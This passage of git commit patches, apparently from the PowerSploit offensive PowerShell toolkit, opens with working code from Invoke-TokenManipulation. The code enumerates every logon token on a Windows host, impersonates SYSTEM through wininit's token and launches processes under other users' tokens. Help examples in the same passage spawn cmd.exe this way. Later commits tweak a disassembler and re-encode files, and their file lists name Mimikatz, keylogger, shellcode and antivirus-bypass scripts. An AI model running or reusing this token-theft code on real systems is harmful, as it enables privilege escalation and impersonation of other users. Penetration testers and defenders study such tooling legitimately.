($TokenByEnabledPriv.ContainsKey($Privilege)) + { + if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) + { + $TokenByEnabledPriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByEnabledPriv.Add($Privilege, @($Fullname)) + } + } + + #Filter currently available (but not enable) privileges + foreach ($Privilege in $Token.PrivilegesAvailable) + { + if ($TokenByAvailablePriv.ContainsKey($Privilege)) + { + if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) + { + $TokenByAvailablePriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByAvailablePriv.Add($Privilege, @($Fullname)) + } + } + } + + $ReturnDict = @{ + TokenByUser = $TokenByUser + TokenByEnabledPriv = $TokenByEnabledPriv + TokenByAvailablePriv = $TokenByAvailablePriv + } + + return (New-Object PSObject -Property $ReturnDict) + } + + + function Invoke-ImpersonateUser + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) + if (-not $Success) + { + $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" + } + } + + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $Success + } + + + function Create-ProcessWithToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $ProcessName, + + [Parameter(Position=2)] + [String] + $ProcessArgs + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessName) + $ProcessArgsPtr = [IntPtr]::Zero + if (-not [String]::IsNullOrEmpty($ProcessArgs)) + { + $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessArgs) + } + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + } + } + + + function Free-AllTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [PSObject[]] + $TokenInfoObjs + ) + + foreach ($Obj in $TokenInfoObjs) + { + $Success = $CloseHandle.Invoke($Obj.hToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" + } + $Obj.hToken = [IntPtr]::Zero + } + } + + + #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. + function Enum-AllTokens + { + $AllTokens = @() + + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + { + Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" + } + + if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) + { + $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null + $systemTokenInfo = $null + } + } + + $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} + + #Get all tokens + foreach ($Process in $ProcessIds) + { + $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) + + #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. + if ($PrimaryTokenInfo -ne $null) + { + [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken + + if ($hToken -ne [IntPtr]::Zero) + { + #Get the LUID corrosponding to the logon + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id + + $AllTokens += $ReturnObj + } + } + else + { + Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" + } + + foreach ($Thread in $Process.Threads) + { + $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id + [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) + + if ($hToken -ne [IntPtr]::Zero) + { + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id + + $AllTokens += $ReturnObj + } + } + } + } + } + + return $AllTokens + } + + + function Invoke-RevertToSelf + { + Param( + [Parameter(Position=0)] + [Switch] + $ShowOutput + ) + + $Success = $RevertToSelf.Invoke() + + if ($ShowOutput) + { + if ($Success) + { + Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else + { + Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + } + } + + + #Main function + function Main + { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + $OriginalUser = [Environment]::UserName + + if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") + { + Invoke-RevertToSelf -ShowOutput + } + elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") + { + $AllTokens = Enum-AllTokens + + #Select the token to use + [IntPtr]$hToken = [IntPtr]::Zero + $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser + if ($Username -ne $null -and $Username -ne '') + { + if ($UniqueTokens.ContainsKey($Username)) + { + $hToken = $UniqueTokens[$Username].hToken + Write-Verbose "Selecting token by username" + } + else + { + Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop + } + } + elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ProcessID" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($ThreadId -ne $null -and $ThreadId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ThreadId" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($Process -ne $null) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by Process object" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + else + { + Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop + } + + #Use the token for the selected action + if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") + { + if (-not $NoUI) + { + Set-DesktopACLs + } + + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs + + if ($OriginalUser -ine "SYSTEM") + { + Invoke-RevertToSelf + } + } + elseif ($ImpersonateUser) + { + Invoke-ImpersonateUser -hToken $hToken | Out-Null + Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") + { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else #Enumerate tokens + { + $AllTokens = Enum-AllTokens + + if ($PsCmdlet.ParameterSetName -ieq "ShowAll") + { + Write-Output $AllTokens + } + else + { + Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + } + + if ($OriginalUser -ine "SYSTEM") + { + Invoke-RevertToSelf + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + } + + + #Start the main function + Main +} + From 22f232920bd25f01f8e6a4d99bbcbfca1a8cd041 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 4 Nov 2013 05:51:33 -0500 Subject: [PATCH 015/365] Added Invoke-TokenManipulation to README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 4fa1064b..bc96a244 100644 --- a/README.md +++ b/README.md @@ -144,6 +144,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Invoke-TokenManipulation` + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + #### `Invoke-NinjaCopy` Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. From 5af0589e8f97aa49aef6bd083a00a4689c7553aa Mon Sep 17 00:00:00 2001 From: clymb3r Date: Mon, 4 Nov 2013 08:19:28 -0800 Subject: [PATCH 016/365] Updated Invoke-TokenManipulation help --- Exfiltration/Invoke-TokenManipulation.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index affbc206..c692299e 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -140,13 +140,13 @@ Spawns cmd.exe using the token belonging to thread ID 500. .EXAMPLE -Get-Process lsass | Token-TokenManipulation -CreateProcess "cmd.exe" +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. .EXAMPLE -Get-Process lsass | Token-TokenManipulation -ImpersonateUser +Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser Makes the current thread impersonate the lsass security token. From 5b4b9924d5a016af996ffac91a975b9822651451 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 7 Nov 2013 07:28:53 -0500 Subject: [PATCH 017/365] Get-ILDisassembly now displays metadata tokens. * Having metadata tokens displayed in output helps with reverse engineering because you can pass metadata tokens to System.Reflection.Module.ResolveMember and then easily interact with the member in question. * I also fixed a bug when displaying integer constants. I wasn't doing an endian swap. --- ReverseEngineering/Get-ILDisassembly.format.ps1xml | 6 ++++++ ReverseEngineering/Get-ILDisassembly.ps1 | 4 +++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml index f933e1e9..3c610ccc 100644 --- a/ReverseEngineering/Get-ILDisassembly.format.ps1xml +++ b/ReverseEngineering/Get-ILDisassembly.format.ps1xml @@ -18,6 +18,9 @@ + + + @@ -31,6 +34,9 @@ Operand + + if ($_.MetadataToken) {"0x$($_.MetadataToken.ToString('X8'))"} + diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index 645dc394..b7293e0f 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -131,6 +131,7 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf $Type = $Op.OperandType $Operand = $null + $OpInt = $null if ($Type -eq 'InlineNone') { $OperandLength = 0 @@ -191,13 +192,14 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf if (($OperandLength -gt 0) -and ($OperandLength -ne 4) -and ($Type -ne 'InlineSwitch') -and ($Type -ne 'ShortInlineBrTarget')) { # Simply print the hex for all operands with immediate values - $Operand = "0x{0}" -f (($IL[$Position..($Position+$OperandLength-1)] | ForEach-Object { $_.ToString('X2') }) -join '') + $Operand = "0x{0}" -f (($IL[($Position+$OperandLength-1)..$Position] | ForEach-Object { $_.ToString('X2') }) -join '') } $Instruction = @{ Position = $InstructionPostion Instruction = $Op.Name Operand = $Operand + MetadataToken = $OpInt } # Return a custom object containing a position, instruction, and fully-qualified operand From 306a84fe81ef6a1d252eec4e0a9422480c6c52df Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 7 Nov 2013 08:04:16 -0500 Subject: [PATCH 018/365] Get-ILDisassembly now accepts ConstructorInfo objects --- ReverseEngineering/Get-ILDisassembly.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index b7293e0f..af0c2a16 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -68,9 +68,9 @@ Disassembles the System.Array.BinarySearch(Array, Object) method .INPUTS -System.Reflection.MethodInfo +System.Reflection.MethodInfo, System.Reflection.ConstructorInfo -The method description containing the raw IL bytecodes. +A method or constructor description containing the raw IL bytecodes. .OUTPUTS @@ -88,7 +88,8 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] + [ValidateScript({$_ -is [Reflection.MethodInfo] -or $_ -is [Reflection.ConstructorInfo]})] + [Object] $MethodInfo ) From 237d362acff8ef134f0ccc9150e6b6ab8a25e768 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Wed, 13 Nov 2013 21:01:02 -0500 Subject: [PATCH 019/365] Normalized all scripts to ASCII encoding --- AntivirusBypass/AntivirusBypass.psd1 | 4 ++-- AntivirusBypass/AntivirusBypass.psm1 | 2 +- AntivirusBypass/Find-AVSignature.ps1 | 2 +- CodeExecution/CodeExecution.psd1 | 4 ++-- CodeExecution/CodeExecution.psm1 | 2 +- CodeExecution/Invoke-DllInjection.ps1 | 2 +- .../Invoke-ReflectivePEInjection.ps1 | 2 +- CodeExecution/Invoke-ShellcodeMSIL.ps1 | 4 ++-- CodeExecution/Watch-BlueScreen.ps1 | 6 +++--- Exfiltration/Exfiltration.psd1 | 4 ++-- Exfiltration/Exfiltration.psm1 | 2 +- Exfiltration/Get-GPPPassword.ps1 | 2 +- Exfiltration/Get-Keystrokes.ps1 | 4 ++-- Exfiltration/Get-TimedScreenshot.ps1 | 2 +- Exfiltration/Invoke-Mimikatz.ps1 | 2 +- Exfiltration/Invoke-NinjaCopy.ps1 | 2 +- Exfiltration/Invoke-TokenManipulation.ps1 | 2 +- Exfiltration/Out-Minidump.ps1 | 4 ++-- PETools/Get-LibSymbols.format.ps1xml | 4 ++-- PETools/Get-LibSymbols.ps1 | 4 ++-- PETools/Get-ObjDump.format.ps1xml | 4 ++-- PETools/Get-ObjDump.ps1 | 4 ++-- PETools/Get-PEHeader.ps1 | 2 +- PETools/PETools.format.ps1xml | 2 +- PETools/PETools.psd1 | 4 ++-- PETools/PETools.psm1 | 2 +- Persistence/Add-Persistence.ps1 | 4 ++-- .../New-ElevatedPersistenceOptions.ps1 | 4 ++-- Persistence/New-UserPersistenceOptions.ps1 | 4 ++-- Persistence/Persistence.psd1 | 4 ++-- Persistence/Persistence.psm1 | 4 ++-- PowerSploit.psd1 | 4 ++-- PowerSploit.psm1 | 2 +- Recon/Get-HttpStatus.ps1 | 2 +- Recon/Invoke-Portscan.ps1 | 2 +- Recon/Recon.psd1 | 8 ++++---- Recon/Recon.psm1 | 2 +- ReverseEngineering/ConvertTo-String.ps1 | 4 ++-- .../Get-ILDisassembly.format.ps1xml | 4 ++-- ReverseEngineering/Get-ILDisassembly.ps1 | 2 +- ReverseEngineering/Get-MethodAddress.ps1 | 4 ++-- .../Get-NtSystemInformation.format.ps1xml | 2 +- .../Get-NtSystemInformation.ps1 | 2 +- ReverseEngineering/Get-PEB.format.ps1xml | 2 +- ReverseEngineering/Get-PEB.ps1 | 4 ++-- ReverseEngineering/Get-Strings.ps1 | 4 ++-- ReverseEngineering/Get-StructFromMemory.ps1 | 4 ++-- ReverseEngineering/New-Object.ps1 | Bin 4376 -> 2189 bytes .../ProcessModuleTrace.format.ps1xml | 4 ++-- ReverseEngineering/ProcessModuleTrace.ps1 | 4 ++-- ReverseEngineering/ReverseEngineering.psd1 | 2 +- ReverseEngineering/ReverseEngineering.psm1 | 2 +- ScriptModification/Out-CompressedDll.ps1 | 4 ++-- ScriptModification/Out-EncodedCommand.ps1 | 4 ++-- ScriptModification/Out-EncryptedScript.ps1 | 2 +- ScriptModification/Remove-Comments.ps1 | 4 ++-- ScriptModification/ScriptModification.psd1 | 4 ++-- ScriptModification/ScriptModification.psm1 | 2 +- 58 files changed, 91 insertions(+), 91 deletions(-) diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index ab2918b7..29949c1c 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' @@ -84,4 +84,4 @@ FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1 # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/AntivirusBypass/AntivirusBypass.psm1 b/AntivirusBypass/AntivirusBypass.psm1 index e5234fbe..81d38186 100644 --- a/AntivirusBypass/AntivirusBypass.psm1 +++ b/AntivirusBypass/AntivirusBypass.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1 index 80e2b1fb..d2487b3e 100644 --- a/AntivirusBypass/Find-AVSignature.ps1 +++ b/AntivirusBypass/Find-AVSignature.ps1 @@ -183,4 +183,4 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 #During testing using large binaries, memory usage was excessive so lets fix that [System.GC]::Collect() Write-Verbose "Completed!" -} \ No newline at end of file +} diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 394c7de0..07963fca 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'CodeExecution.psm1' @@ -85,4 +85,4 @@ FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', ' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index e5234fbe..81d38186 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 572a9112..8395ab83 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -325,4 +325,4 @@ http://www.exploit-monday.com } Write-Verbose "Injected DLL information:$($DllInfo)" -} \ No newline at end of file +} diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index ccc1dd68..599212b1 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -2840,4 +2840,4 @@ Function Main } Main -} \ No newline at end of file +} diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 index 4123d06a..158a643c 100644 --- a/CodeExecution/Invoke-ShellcodeMSIL.ps1 +++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1 @@ -1,4 +1,4 @@ -function Invoke-ShellcodeMSIL +function Invoke-ShellcodeMSIL { <# .SYNOPSIS @@ -264,4 +264,4 @@ { Write-Verbose 'Shellcode executed successfully!' } -} \ No newline at end of file +} diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1 index 2fa317ed..0a12a918 100644 --- a/CodeExecution/Watch-BlueScreen.ps1 +++ b/CodeExecution/Watch-BlueScreen.ps1 @@ -1,4 +1,4 @@ -function Watch-BlueScreen +function Watch-BlueScreen { <# .SYNOPSIS @@ -15,7 +15,7 @@ .NOTES Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov - ‏tweeted this technique on 5/13/2013. + ?tweeted this technique on 5/13/2013. .LINK @@ -75,4 +75,4 @@ $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null } -} \ No newline at end of file +} diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 5268eb25..89359efe 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Exfiltration.psm1' @@ -86,4 +86,4 @@ FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' -} \ No newline at end of file +} diff --git a/Exfiltration/Exfiltration.psm1 b/Exfiltration/Exfiltration.psm1 index e5234fbe..81d38186 100644 --- a/Exfiltration/Exfiltration.psm1 +++ b/Exfiltration/Exfiltration.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 7dbd23d8..12d27852 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -1,4 +1,4 @@ -function Get-GPPPassword { +function Get-GPPPassword { <# .SYNOPSIS diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 48b7df60..75400a1a 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,4 +1,4 @@ -function Get-Keystrokes { +function Get-Keystrokes { <# .SYNOPSIS @@ -246,4 +246,4 @@ } | Out-Null } -} \ No newline at end of file +} diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index c14c7237..e1ca823f 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -1,4 +1,4 @@ -function Get-TimedScreenshot +function Get-TimedScreenshot { <# .SYNOPSIS diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 289652c4..6eff83c7 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -2710,4 +2710,4 @@ Function Main } Main -} \ No newline at end of file +} diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index cfa763fa..7ff5bfaf 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -2845,4 +2845,4 @@ Main [GC]::Collect() [GC]::Collect() -} \ No newline at end of file +} diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index c692299e..7e56ef08 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1,4 +1,4 @@ -function Invoke-TokenManipulation +function Invoke-TokenManipulation { <# .SYNOPSIS diff --git a/Exfiltration/Out-Minidump.ps1 b/Exfiltration/Out-Minidump.ps1 index afb7dc9f..a43ee0f7 100644 --- a/Exfiltration/Out-Minidump.ps1 +++ b/Exfiltration/Out-Minidump.ps1 @@ -1,4 +1,4 @@ -function Out-Minidump +function Out-Minidump { <# .SYNOPSIS @@ -127,4 +127,4 @@ } END {} -} \ No newline at end of file +} diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml index 41747cbf..5d4d8484 100644 --- a/PETools/Get-LibSymbols.format.ps1xml +++ b/PETools/Get-LibSymbols.format.ps1xml @@ -1,4 +1,4 @@ - + @@ -28,4 +28,4 @@ - \ No newline at end of file + diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 index 414454f4..98646768 100644 --- a/PETools/Get-LibSymbols.ps1 +++ b/PETools/Get-LibSymbols.ps1 @@ -1,4 +1,4 @@ -function Get-LibSymbols +function Get-LibSymbols { <# .SYNOPSIS @@ -279,4 +279,4 @@ } END {} -} \ No newline at end of file +} diff --git a/PETools/Get-ObjDump.format.ps1xml b/PETools/Get-ObjDump.format.ps1xml index d44ade0e..25e13b85 100644 --- a/PETools/Get-ObjDump.format.ps1xml +++ b/PETools/Get-ObjDump.format.ps1xml @@ -1,4 +1,4 @@ - + @@ -289,4 +289,4 @@ - \ No newline at end of file + diff --git a/PETools/Get-ObjDump.ps1 b/PETools/Get-ObjDump.ps1 index 3df8235d..2a8ebcb8 100644 --- a/PETools/Get-ObjDump.ps1 +++ b/PETools/Get-ObjDump.ps1 @@ -1,4 +1,4 @@ -function Get-ObjDump +function Get-ObjDump { <# .SYNOPSIS @@ -705,4 +705,4 @@ } END {} -} \ No newline at end of file +} diff --git a/PETools/Get-PEHeader.ps1 b/PETools/Get-PEHeader.ps1 index 2f35292b..00213772 100644 --- a/PETools/Get-PEHeader.ps1 +++ b/PETools/Get-PEHeader.ps1 @@ 